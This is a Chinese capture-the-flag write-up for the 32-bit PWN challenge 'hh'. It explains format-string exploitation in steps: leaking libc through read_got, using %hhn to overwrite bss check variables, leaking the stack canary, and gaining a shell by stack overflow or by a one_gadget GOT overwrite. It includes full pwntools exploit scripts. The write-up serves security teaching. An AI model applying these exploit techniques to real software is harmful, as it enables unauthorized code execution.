文章总结: 本文解析32位PWN题hh,核心利用字符串格式化漏洞。通过格式化字符串泄露libc基址并用%n修改bss变量绕过检查,进而利用栈溢出配合Canary泄露或修改read_got为one_gadget获取shell。文章详细阐述了利用思路、offset计算方法及完整exp代码。 综合评分: 90 文章分类: CTF,二进制安全,漏洞POC,漏洞分析
web选手入门pwn(32)——hh(字符串格式化)
原创
珂字辈
珂技知识分享
2026年1月8日 09:00 湖北
1.hh(字符串格式化)
https://www.polarctf.com/#/
32位,不提供libc,用本地2.27做。
再明显不过的字符串格式化,需要篡改bss上的hh为0x4才能进入welcome(),那么这题肯定是没开PIE的
跟进welcome()
第二个字符串格式化,第一个用来泄露libc和栈,第二个直接打%n篡改got或者栈,这是字符串格式化的常见玩法。但这题只给了0x30的输入,长度未必够。按出题的人思路,再次篡改bss上的h为0x500进入wel()
第三和第四个字符串格式化,这次第四个字符串格式化长度肯定够了,但看一眼buf才100,read()给了144空间,明显可以走栈溢出。那么第三个字符串格式化就是用来泄露canary的。
整体思路就确定下来了,先泄露libc。
字符串格式化泄露libc的方法有两种,一种是直接找栈上的libc,一种是先输入read_got,再定位到它是第几个参数,用%s读出read_got上的内容。后者更加精准和通用。
from pwn import *
context.log_level = 'debug'context.arch='i386'context.terminal = ['tmux','splitw','-h']
#sh = gdb.debug("./pwn" , "b *0x8048655\n c")sh = process("./pwn")
elf = ELF("./pwn")read_got = elf.got['read']hh_bss = 0x804A06Ch_bss = 0x804A070
sh.sendafter("wel", p32(read_got) + "%6$s")
sh.interactive()
这个%6$s的6可以通过输入大量%p来获得大致位置,由于x86的地址比较缺\x00导致同时打印了大量read_got附近的数据,这会影响接下来篡改hh_bss,不同的libc做起来不一样,要注意。
%n是输出了多少长度就往该地址写多少,已经输出0x20,再加上p32(hh_bss)它自己,一共0x24,因此肯定是写入0x24。
sh.sendafter("wel", p32(read_got) + p32(hh_bss) + "%6$s" + "%7$n")
hh_bss=0x24,如何再让它为0x4呢?溢出到0x100000004即可。但这样输出长度要求很大,所以可以用%7$hhn,这样就只需要溢出到0x104,也就是用%224c来补充长度(PS:远程做这题是%244c)
offset = "%"+str(0x104-0x24)+"c"sh.sendafter("wel", p32(read_got) + p32(hh_bss) + "%6$s" + offset + "%7$hhn")
成功进入welcome(),依葫芦画瓢,这次需要写0x500,可以分成两个%hhn写,先写0x00,再写0x05
offset = "%"+str(0x100-0x8)+"c"sh.sendafter("welcome", p32(h_bss) + p32(h_bss+1) + offset + "%6$hhn" + "%5c" + "%7$hhn")
成功进入wel(),然后检查ebp和canary的位置。
第三次字符串格式化泄露canary,第四次字符串格式化走栈溢出。懒得算canary的偏移,直接将栈溢出的padding都写上canary。
本地exp如下
from pwn import *
context.log_level = 'debug'context.arch='i386'context.terminal = ['tmux','splitw','-h']
#sh = gdb.debug("./pwn" , "b *0x8048655\n c")sh = process("./pwn")
elf = ELF("./pwn")read_got = elf.got['read']hh_bss = 0x804A06Ch_bss = 0x804A070
offset = "%"+str(0x104-0x24)+"c"sh.sendafter("wel", p32(read_got) + p32(hh_bss) + "%6$s" + offset + "%7$hhn")
read_addr = u32(sh.recvuntil("\xf7")[-4:])print(hex(read_addr))libc_base = read_addr-0xe5620print(hex(libc_base))system = libc_base+0x3ce10sh_addr = libc_base+0x17b88f
offset = "%"+str(0x100-0x8)+"c"sh.sendafter("welcome", p32(h_bss) + p32(h_bss+1) + offset + "%6$hhn" + "%5c" + "%7$hhn")
sh.sendafter("Welcome !!!", "%31$p"+"AAAA")canary = int(sh.recvuntil("00")[-8:],16)print(hex(canary))
sh.sendafter("AAAA", p32(canary) * 29 + p32(system) + p32(0x0) + p32(sh_addr) + "\0")
sh.interactive()
远程需要更换一下libc偏移和offset。
这就完了吗?如果没有栈溢出,显然这题也可以用%n篡改got或者栈做出来,
以篡改read/puts/printf的got为例。第一次字符串格式化需要泄露libc,第四次字符串格式化执行完就退出了且没有exit的got,所以虽然第四次字符串格式化的read长度最大,也只能选择在第二次或者第三次完成%n写值,以此劫持第四次所使用的read/printf。
再来算算0x30的长度够吗?一次%hhn写入要搭配一个%c和一个p32()地址,长约15,写一个32位地址要写4次,即使末尾的0xf7不用动也需要写3次。15*3=45非常勉强。
既然很勉强,就要考虑缩短字符长度,第二次字符串格式化必须要篡改h_bss占用了一定长度因此pass,最终选择第三次字符串格式化完成%n写值。
除此之外还可以使用%hn,相比%hhn写3次每次15,%hn只需要写2次,每次16。当然理论最短的是%n,但%hhn/%hn/%n决定了程序输出的数据几何倍数增长,%n是不能接受的。
shellcode = p32(read_got) + p32(read_got+2) #0x804a00cshellcode += "%10c" + "%6$hn"shellcode += "%10c" + "%7$hn"print(len(shellcode))
sh.sendafter("Welcome !!!", shellcode)
如图成功篡改read_got,篡改成什么呢?肯定是one_gadget,来看看one_gadget要求,其中0x673a0刚好满足read时的状态。
最终exp。
from pwn import *
context.log_level = 'debug'context.arch='i386'context.terminal = ['tmux','splitw','-h']
#sh = gdb.debug("./pwn" , "b *0x8048655\n c")sh = process("./pwn")
elf = ELF("./pwn")read_got = elf.got['read'] #0x804a00chh_bss = 0x804A06Ch_bss = 0x804A070
offset = "%"+str(0x104-0x24)+"c"sh.sendafter("wel", p32(read_got) + p32(hh_bss) + "%6$s" + offset + "%7$hhn")
read_addr = u32(sh.recvuntil("\xf7")[-4:])print(hex(read_addr))libc_base = read_addr-0xe5620print(hex(libc_base))system = libc_base+0x3ce10sh_addr = libc_base+0x17b88f
ones = [0x3ccea, 0x3ccec, 0x3ccf0, 0x3ccf7, 0x6739f, 0x673a0, 0x13563e, 0x13563f]one = ones[5]+libc_baseprint("one:" + hex(one))high = one >> 16low = one & 0xffff
offset = "%"+str(0x100-0x8)+"c"sh.sendafter("welcome", p32(h_bss) + p32(h_bss+1) + offset + "%6$hhn" + "%5c" + "%7$hhn")
shellcode = p32(read_got) + p32(read_got+2)shellcode += "%"+str(low-0x8)+"c" + "%6$hn"shellcode += "%"+str(high-low)+"c" + "%7$hn"print(len(shellcode))sh.sendafter("Welcome !!!", shellcode)
sh.interactive()
本地可以getshell,但远程不太容易,这可能是因为远程时的esp不符合one_gadget要求。
所以还是栈溢出做起来更简单和稳定,即使没有栈溢出也是走泄露栈,第四次字符串格式化改栈。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:珂技知识分享 珂字辈《web选手入门pwn(32)——hh(字符串格式化)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论